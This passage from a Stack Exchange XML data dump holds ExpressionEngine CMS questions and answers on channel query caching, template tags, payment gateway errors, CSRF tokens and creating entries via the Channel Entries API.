  <row Id="34012" PostTypeId="1" CreationDate="2015-09-14T16:58:56.410" Score="1" ViewCount="672" Body="&lt;p&gt;I am trying to select 3 random entries from a few channels.  I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries limit=&quot;3&quot; channel=&quot;X|Y|Z&quot; status=&quot;open&quot; orderby=&quot;random&quot; disable=&quot;categories|category_fields|member_data|pagination&quot; dynamic=&quot;no&quot; cache=&quot;no&quot;}&#xA;&#xA;    ....&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The issue I have is that the same 3 entries continue to be displayed, in varying order.  I assume the query must be cached somewhere?  I can't figure it out though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do have memcached enabled for EE, and I think this is where the issue lies. If I disable caching, every refresh of the page actually displays 3 random items.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to prevent EE from caching this query? In my 'Template Manager', this particular template has &quot;No&quot; for &quot;Enable Caching?&quot;&lt;/p&gt;&#xA;" OwnerUserId="6113" LastEditorUserId="3579" LastEditDate="2015-09-14T20:43:39.670" LastActivityDate="2019-02-20T17:03:00.640" Title="orderby=&quot;random&quot; same results being displayed every time" Tags="|channel-entries|orderby|random|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34013" PostTypeId="2" ParentId="34011" CreationDate="2015-09-14T17:09:51.927" Score="1" Body="&lt;p&gt;You possibly use a new Strip API, but BR is not supported it. I get this errors before, so you can try &lt;a href=&quot;https://github.com/MaxLazar/brilliantretail-stripe-fix&quot; rel=&quot;nofollow&quot;&gt;my patch&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2015-09-14T17:09:51.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34014" PostTypeId="2" ParentId="34007" CreationDate="2015-09-14T18:14:15.850" Score="1" Body="&lt;p&gt;If you use default EE registration, you can setup &lt;strong&gt;Default Member Group Assigned to New Members&lt;/strong&gt; in &lt;em&gt;Members -&gt; Member Preferences&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding site - is no such function from the box. You can add hidden field on reg page where you will keep site id or site name. &lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2015-09-14T18:14:15.850" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="34015" PostTypeId="2" ParentId="18439" CreationDate="2015-09-14T20:05:18.443" Score="0" Body="&lt;p&gt;I was getting the same issue and was able to resolve it by using an FB app created several months earlier (just for testing purposes) that used the corresponding 2.2 Facebook API.&lt;/p&gt;&#xA;" OwnerUserId="3347" LastActivityDate="2015-09-14T20:05:18.443" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34016" PostTypeId="2" ParentId="33960" CreationDate="2015-09-14T20:45:51.487" Score="1" Body="&lt;p&gt;If you are just showing one entry, try prev-next entry linking instead of pagination &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/entry_linking.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/entry_linking.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2015-09-14T20:45:51.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34017" PostTypeId="2" ParentId="32915" CreationDate="2015-09-14T20:52:46.127" Score="1" Body="&lt;p&gt;There are a couple of add-ons for importing data that you could look at. I imagine you'd need some further customization though to scoop up that format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://solspace.com/software/expressionengine/importer/&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/software/expressionengine/importer/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://brandnewbox.co.uk/products/details/datagrab&quot; rel=&quot;nofollow&quot;&gt;http://brandnewbox.co.uk/products/details/datagrab&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2015-09-14T20:52:46.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34018" PostTypeId="2" ParentId="33975" CreationDate="2015-09-15T06:08:21.067" Score="0" Body="&lt;p&gt;total_results always belongs to the outer most tag in nested situations. It is a common variable and this is also true for count and possibly some others I can't remember. Try playing around with using an embed to get around this problem.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if low_search_tag_id}&#xA;  {embed=&quot;embeddedtemplate&quot; passedid=&quot;{low_search_tag_id}&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even with that there may be parse issues I am not sure sometimes using parse=&quot;inward&quot; can help there. Without having these plugins to play around with I can't give exact answer but this should put you on the right path.&lt;/p&gt;&#xA;" OwnerUserId="1283" LastActivityDate="2015-09-15T06:08:21.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34019" PostTypeId="2" ParentId="33963" CreationDate="2015-09-15T06:33:02.940" Score="0" Body="&lt;p&gt;Try this. Within your exp:channel:entries loop on your homepage template that you are using to display the homepage entries. Output the custom field you have setup for better pages.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;homepage&quot; dynamic=&quot;no&quot;}&#xA;  &amp;lt;h2&amp;gt;This is the template id {my_better_pages_field}&amp;lt;/h2&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If my understanding of better pages is correct this is the id for the template you have assigned to that entry. Now using this information you can create your conditionals on your homepage template for example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;homepage&quot; dynamic=&quot;no&quot;}&#xA;  {if {my_better_pages_field} == &quot;1&quot;}&#xA;    Enter output of the first style&#xA;  {/if}&#xA;  etc etc.&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Normally when you assign a template to a page using the pages module it displays the page using the corresponding template when you call up that pages url. You are wanting it to use the template while displaying a different page. If you actually want to use the templates you have assigned you could use the above code with an embed. for example replace &quot;Enter output of first style&quot; with {embed=&quot;template_1&quot; passedid=&quot;{entry_id}&quot;} and then use the {embed:passedid} variable within your template. Hope that works for you.&lt;/p&gt;&#xA;" OwnerUserId="1283" LastActivityDate="2015-09-15T06:33:02.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34020" PostTypeId="2" ParentId="33998" CreationDate="2015-09-15T07:06:26.430" Score="1" Body="&lt;p&gt;You're getting the total of all related articles because you're not specifying that you need to group the results by entry. Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT &#xA;    t.entry_id, &#xA;    t.title, &#xA;    COUNT(r.child_entry_id) AS entry_count &#xA;FROM &#xA;    exp_channel_titles AS t&#xA;INNER JOIN &#xA;    exp_playa_relationships AS r &#xA;    ON t.entry_id = r.child_entry_id &#xA;WHERE &#xA;    r.parent_field_id = 10 &#xA;    AND t.channel_id = 1&#xA;GROUP BY &#xA;    t.entry_id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also changed the join from LEFT to INNER to avoid potential issues when some data has not been cleaned up properly and missing entries still have relationship records.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2015-09-15T07:06:26.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34021" PostTypeId="2" ParentId="33998" CreationDate="2015-09-15T08:56:00.683" Score="0" Body="&lt;p&gt;For reference the working query was: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT&#xA;    t.entry_id,&#xA;    t.title,&#xA;    count(r.child_entry_id) AS entry_count &#xA;&#xA;FROM&#xA;    exp_channel_titles AS t&#xA;&#xA;INNER JOIN&#xA;    exp_playa_relationships AS r&#xA;    ON t.entry_id = r.child_entry_id &#xA;&#xA;WHERE&#xA;    r.parent_field_id = 68&#xA;    AND t.channel_id = 16&#xA;&#xA;GROUP BY&#xA;    r.child_entry_id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="886" LastActivityDate="2015-09-15T08:56:00.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34023" PostTypeId="1" CreationDate="2015-09-15T12:24:54.753" Score="0" ViewCount="51" Body="&lt;p&gt;I want to setup a zoo visitor form where users can select which member type (member group) they want to be part of. I've setup as described in the &lt;a href=&quot;http://ee-zoo.com/docs/visitor/tags/registration.html#choosing-membergroup-during-registration&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;&#xA;setting the allowed member groups (5|8) and the select input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I test it and activate the account, it always sets them to member group 5, despite selecting 8?&lt;/p&gt;&#xA;" OwnerUserId="3602" LastActivityDate="2016-05-26T19:38:37.010" Title="Zoo Visitor Multiple Member Groups" Tags="|zoo-visitor|zoo|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34025" PostTypeId="2" ParentId="34012" CreationDate="2015-09-15T13:13:42.870" Score="2" Body="&lt;p&gt;So it looks like I have to disable &quot;Cache Dynamic Channel Queries?&quot; in Admin-&gt;Channel Administration-&gt;Global Channel Preferences&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For random ordering to function properly&lt;/p&gt;&#xA;" OwnerUserId="6113" LastActivityDate="2015-09-15T13:13:42.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34026" PostTypeId="1" CreationDate="2015-09-15T13:46:46.360" Score="0" ViewCount="56" Body="&lt;p&gt;The following NEVER displays a name, how can I get it to output a name? Here is what I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rating:entries&#xA;    limit=&quot;10&quot;&#xA;    entry_id=&quot;{embed:the_entry_id}&quot;}&#xA;&#xA;    &amp;lt;h4&amp;gt;{if screen_name}&#xA;            {screen_name}&#xA;        {if:elseif fullname}&#xA;            {fullname}&#xA;        {if:elseif name}&#xA;            {name}&#xA;        {/if}&amp;lt;/h4&amp;gt;&#xA;{/exp:rating:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the form I am using, which does actually save the name in the ratings module within the backend.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rating:form&#xA;    entry_id=&quot;{embed:the_entry_id}&quot;&#xA;    collection=&quot;Products&quot;&#xA;    return=&quot;product/thanks&quot;&#xA;    form:class=&quot;form validate&quot;&#xA;    status=&quot;closed&quot;&#xA;    anonymous=&quot;yes&quot;&#xA;    allow_duplicates=&quot;no&quot;}&#xA;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;name&quot; value=&quot;{name}&quot; class=&quot;required&quot; /&amp;gt;&#xA;{/exp:rating:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I heard somewhere deleting the name field, then recreating it with the same name seemed to fix it, though I've not experienced that myself.&lt;/p&gt;&#xA;" OwnerUserId="4984" LastEditorUserId="4984" LastEditDate="2015-09-16T08:12:08.337" LastActivityDate="2016-05-27T22:03:52.767" Title="solspace rating, never displays &quot;name&quot;, &quot;screen_name&quot;, &quot;fullname&quot; tied with rating" Tags="|solspace|solspace-rating|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34027" PostTypeId="2" ParentId="34026" CreationDate="2015-09-15T14:04:27.387" Score="0" Body="&lt;p&gt;First, you don't need a limit if you are explicitly setting one entry_id.&#xA;2nd, have you turned on template debug to check that you are getting the values correctly passed to your embed?&#xA;3rd, try eliminating the conditionals, and just leave all 3 variables and see what you get back.&#xA;4th, make sure you have submitted some ratings for that entry. :-}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also go to tools/data/sql manager and look at the exp_ratings table and see what your data looks like. i. e. was a name saved?&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-09-15T14:04:27.387" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34028" PostTypeId="1" CreationDate="2015-09-15T16:09:37.693" Score="0" ViewCount="39" Body="&lt;p&gt;Let's say you've got a bunch of entries in the &quot;Original Generic Page&quot; channel, which are getting replaced by pages with the same URLs in the &quot;New Generic Page&quot; channel. Assume also that entries are linked to one another in various ways (anchors in Wygwam fields; relationships via Playa fields, mainly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, when the old &quot;About&quot; page (entry 5 in the Original Generic Page channel) is closed and replaced with the new one (entry 2000 in the New Generic Page channel), is there a good method for updating all of the other entries that previously referenced entry 5 to point to entry 2000 instead?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This change-over isn't happening all at once, and I suspect it'll be ongoing for quite a while as different channels/layouts are introduced over time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're using Structure and Publisher (site is multi-lingual) to possibly complicate things further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts, any? Are there any add-ons that can help manage this?&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2015-09-15T16:26:18.260" Title="Replacing Entries: Updating Playa/Wygwam from {page_x} to {page_y}?" Tags="|playa|wygwam|structure|publisher|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34029" PostTypeId="2" ParentId="34028" CreationDate="2015-09-15T16:26:18.260" Score="1" Body="&lt;p&gt;Since Publisher is installed it just means whatever is updated in exp_channel_data also needs to occur in exp_publisher_data for each corresponding entry. Same for exp_sites (site_pages column) and exp_publisher_site_pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are all the entries Structure based? If they are, and they all share the same URL, then it means you just need to update the entry_ids in the site_pages array. So you may need to create an array map of all the old entry_ids to the new entry_ids, and iterate over the site_pages array and make the updates to that array, then save it back to the database.&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2015-09-15T16:26:18.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34030" PostTypeId="2" ParentId="32830" CreationDate="2015-09-15T19:18:00.080" Score="1" Body="&lt;p&gt;OOOOk... so did you try setting a default template group? If you set your default template group to &quot;Home&quot;, the index template in their will be resolved at &#xA;&lt;code&gt;www.example.com&lt;/code&gt; as well as &lt;code&gt;www.example.com/home&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-09-15T19:18:00.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34031" PostTypeId="2" ParentId="34023" CreationDate="2015-09-15T20:02:03.957" Score="0" Body="&lt;p&gt;I was being a complete and utter doughnut.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was using &lt;code&gt;group_id=&quot;5|8&quot;&lt;/code&gt; in the registration form tag instead of &lt;code&gt;allowed_groups=&quot;5|8&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now working perfectly!&lt;/p&gt;&#xA;" OwnerUserId="3602" LastActivityDate="2015-09-15T20:02:03.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34032" PostTypeId="1" CreationDate="2015-09-15T21:30:39.660" Score="0" ViewCount="193" Body="&lt;pre&gt;&lt;code&gt;$(document).ready(function () {&#xA;$.ajax({&#xA;    type: &quot;POST&quot;,&#xA;    url: &quot;/ajax/customcss&quot;,&#xA;    data: {channel: currentChannel},&#xA;    })&#xA;    .done(function( data ) {&#xA;&#xA;        var jsonObj= JSON.parse(data);&#xA;&#xA;        console.log(jsonObj);&#xA;&#xA;&#xA;});&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;POST http://mywebsite.com/ajax/customcss 403 (Forbidden)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is a cross scripting error.   Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="6306" LastEditorUserId="389" LastEditDate="2015-11-18T17:22:13.187" LastActivityDate="2016-06-03T10:36:19.937" Title="AJAX Call on ExpressionEngine Install" Tags="|php|javascript|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34033" PostTypeId="1" CreationDate="2015-09-15T21:39:36.637" Score="0" ViewCount="648" Body="&lt;p&gt;I want to add a character limit on the display portion of expression engines channel field, not on the back end entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example, If i have a field &quot;Description&quot; I want to be able to display a &quot;preview&quot; of it, at 50 characters, and then if clicked, or on another page, I want to show that same field, but with no character limit to display the full text.&lt;/p&gt;&#xA;" OwnerUserId="6663" LastActivityDate="2015-09-15T22:29:24.377" Title="Add character limit on a channel entry tag field?" Tags="|channel-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34034" PostTypeId="2" ParentId="34033" CreationDate="2015-09-15T22:29:24.377" Score="2" Body="&lt;p&gt;there are loads of character limit/string manipulation plugins here &lt;a href=&quot;https://devot-ee.com/search/results?keywords=character+limit&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/search/results?keywords=character+limit&amp;amp;addon_version_support=ee2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-09-15T22:29:24.377" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34036" PostTypeId="2" ParentId="34032" CreationDate="2015-09-16T00:16:08.817" Score="0" Body="&lt;p&gt;That is &lt;strong&gt;not&lt;/strong&gt; a cross scripting error necessarily, but probably is in your case. I can think of a bunch of ways to send out 403's from my server. Anyways, what script does that post to? Is that an EE template group (&quot;ajax&quot;) and template (&quot;customcss&quot;)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure why you are going about it that way, but POSTing to templates should always bounce without a CSRF token. Add one!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;....&#xA;data: {channel: currentChannel, csrf_token: &quot;{csrf_token}&quot;},&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/guidelines/security.html#id13&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/guidelines/security.html#id13&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-09-16T00:16:08.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34038" PostTypeId="2" ParentId="34006" CreationDate="2015-09-16T07:41:50.913" Score="0" Body="&lt;p&gt;Have you tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/bms-url-change&quot; rel=&quot;nofollow&quot;&gt;BMS URL Change&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/better-pagination&quot; rel=&quot;nofollow&quot;&gt;Better Pagination&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If they don't work for you, then you'll have to write your own extension, possibly using the above as reference to approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You do not want to update the core - problematic for future updates. Ideally you'd need to write an extension that probably used 2 hooks &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/pagination/index.html#pagination_create&quot; rel=&quot;nofollow&quot;&gt;Pagination&lt;/a&gt; and &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/session/index.html#sessions-end&quot; rel=&quot;nofollow&quot;&gt;session&lt;/a&gt;. Session to interpret the custom paginated element and the Pagination hook to output the formatted pagination segment you want. You might need the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/channel/index.html#channel-entries-query-result&quot; rel=&quot;nofollow&quot;&gt;channel hook to query result&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really do want to dip into the core:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;system/expressionengine/libraries/EE_Pagination.php&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and/or&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;system/codeigniter/system/libraries/Pagination.php&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2015-09-17T13:18:51.193" LastActivityDate="2015-09-17T13:18:51.193" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34039" PostTypeId="2" ParentId="34026" CreationDate="2015-09-16T08:14:01.903" Score="0" Body="&lt;p&gt;No idea why its broken, still a mystery to me, though here is what I did to fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my initial template create an embed and pass it the rating_id :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;product/.testimonial_name&quot; the_rating_id=&quot;{rating_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT name FROM exp_ratings WHERE rating_id='{embed:the_rating_id}'&quot;}&#xA;    {if name}&#xA;        &amp;lt;h4&amp;gt;{name}&amp;lt;/h4&amp;gt;&#xA;    {/if}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4984" LastActivityDate="2015-09-16T08:14:01.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34041" PostTypeId="2" ParentId="33925" CreationDate="2015-09-16T10:10:51.410" Score="0" Body="&lt;p&gt;I have achieved it with the fantastic add-on from laisvunas called &quot;Entries Number&quot; available at devot:ee&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For anyone with the same problem, for me the solution looked as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;your_channel&quot; parse=&quot;inward&quot; limit=&quot;123&quot;}    &#xA;{author}{author_id}&#xA;{exp:entries_number channel=&quot;your_channel&quot; author_id=&quot;{author_id}&quot;start_on=&quot;2015-01-01 00:00&quot; stop_before=&quot;2015-01-31 23:59&quot;}&#xA;{entries_number}&#xA;{/exp:entries_number}&#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3433" LastActivityDate="2015-09-16T10:10:51.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34043" PostTypeId="2" ParentId="21823" CreationDate="2015-09-16T13:52:18.590" Score="1" Body="&lt;p&gt;This has been reported to EllisLab as a bug. It is not working as it should. &lt;a href=&quot;https://support.ellislab.com/bugs/detail/21106&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/21106&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2015-09-16T13:52:18.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34044" PostTypeId="1" AcceptedAnswerId="34048" CreationDate="2015-09-16T14:19:59.827" Score="1" ViewCount="103" Body="&lt;p&gt;I need to get the parameters from a http post url sent to my site and use the data to create a new entry in Expressionenegine.&lt;/p&gt;&#xA;" OwnerUserId="3022" LastActivityDate="2015-09-16T20:02:29.240" Title="How can I use http parameters to create a new record in EE" Tags="|channel-entries|php|http|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34045" PostTypeId="1" AcceptedAnswerId="34056" CreationDate="2015-09-16T14:22:11.820" Score="0" ViewCount="188" Body="&lt;p&gt;After a recent server move and a new dedicated IP address configuration the site no longer works with SagePay (offsite server), we now get the following error(s) after entering payment details at SagePay:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTTP Status Code:   500&#xA;HTTP Status Message:    The request was unsuccessful due to an unexpected condition encountered by the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error Code :    5006&#xA;Error Description : Unable to redirect to Vendor's web site. The Vendor failed to provide a RedirectionURL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The IP address is valid within SagePay and I have checked that the return path from the checkout_form is correct, both are ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure why this has stopped working, any help please? Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE v2.7.3 and CT v2.5 - I have tried the new SagePay code provided by Vector Media Group but the same errors are issued.&lt;/p&gt;&#xA;" OwnerUserId="1339" LastActivityDate="2015-09-17T12:08:06.450" Title="CartThrob / SagePay sudden error 5006 after server move?" Tags="|cartthrob|payment-gateway|sagepay|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34046" PostTypeId="1" AcceptedAnswerId="34047" CreationDate="2015-09-16T14:32:19.980" Score="1" ViewCount="42" Body="&lt;p&gt;Is there any way to return the playa field's name (or an ID / short name / anything similar) within a playa loop? I basically need to pull two different playa fields, but treat them differently. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Readability-wise, I'd love to keep this as a single playa loop, but that isn't strictly necessary and might be my backup plan.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, I'm looking for something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children field=&quot;missed|content&quot; status=&quot;open&quot; limit=&quot;10&quot;}&#xA;  {if field == &quot;missed&quot;}&#xA;    display missed field one way&#xA;  {if:elseif field == &quot;content&quot;}&#xA;    display content field a different way&#xA;  {if:else}&#xA;    ...&#xA;  {/if}&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm hoping I'm just not seeing something. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="6570" LastActivityDate="2015-09-16T16:53:36.550" Title="Return PLAYA field name?" Tags="|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34047" PostTypeId="2" ParentId="34046" CreationDate="2015-09-16T16:53:36.550" Score="0" Body="&lt;p&gt;Can you check for the presence of a field or a status that's present in one type of entry, but not the other? For instance, if you're pulling from two separate channels, you could do something like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if some_var_in_channel_1}&#xA;   ...&#xA;{if:elseif some_Var_in_channel_2}&#xA;  ...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If it's channel based, could also use {channel_short_name} to compare against.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2015-09-16T16:53:36.550" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34048" PostTypeId="2" ParentId="34044" CreationDate="2015-09-16T20:02:29.240" Score="0" Body="&lt;p&gt;You need to use the Channel Entries API. This will allow you to programatically create new Channel Entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/api/api_channel_entries.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/api/api_channel_entries.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The correct way to do it would be to create a custom module, and then have wherever this data is coming from ping that ACTion url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/module_tutorial.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/module_tutorial.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure when you do your database inserts for your ACTion ID, you make sure to set the &lt;code&gt;csrf_exempt&lt;/code&gt; column to &lt;code&gt;1&lt;/code&gt;, otherwise you will not be able to post to your website from a different domain. &lt;strong&gt;HOWEVER&lt;/strong&gt;, you &lt;strong&gt;MUST&lt;/strong&gt; replace that protection with something else. The simple thing would be to use something akin to an API key. Here's an example to run with for you custom module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class My_module &#xA;{&#xA;&#xA;    $channel_id = &quot;666&quot;;&#xA;&#xA;    function __construct()&#xA;    {&#xA;        // instantiate your channel entries api&#xA;        ee()-&amp;gt;load-&amp;gt;library('api');&#xA;        ee()-&amp;gt;api-&amp;gt;instantiate('channel_entries');&#xA;    }&#xA;&#xA;    function my_module_method_for_making_channel_entries()&#xA;    {&#xA;        // bail if you don't get your trusted api key&#xA;        if ( ee()-&amp;gt;input-&amp;gt;post('api_key') != 'random_api_key_youll_make_up' ) &#xA;        {&#xA;            show_404();&#xA;        }&#xA;&#xA;        // go ahead an use the channel entries api&#xA;        $title = ee()-&amp;gt;input-&amp;gt;post('title');&#xA;        $data = array(&quot;title&quot; =&amp;gt; $title);&#xA;&#xA;        // save entry&#xA;        ee()-&amp;gt;api_channel_entries-&amp;gt;submit_new_entry($this-&amp;gt;channel_id, $data);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" 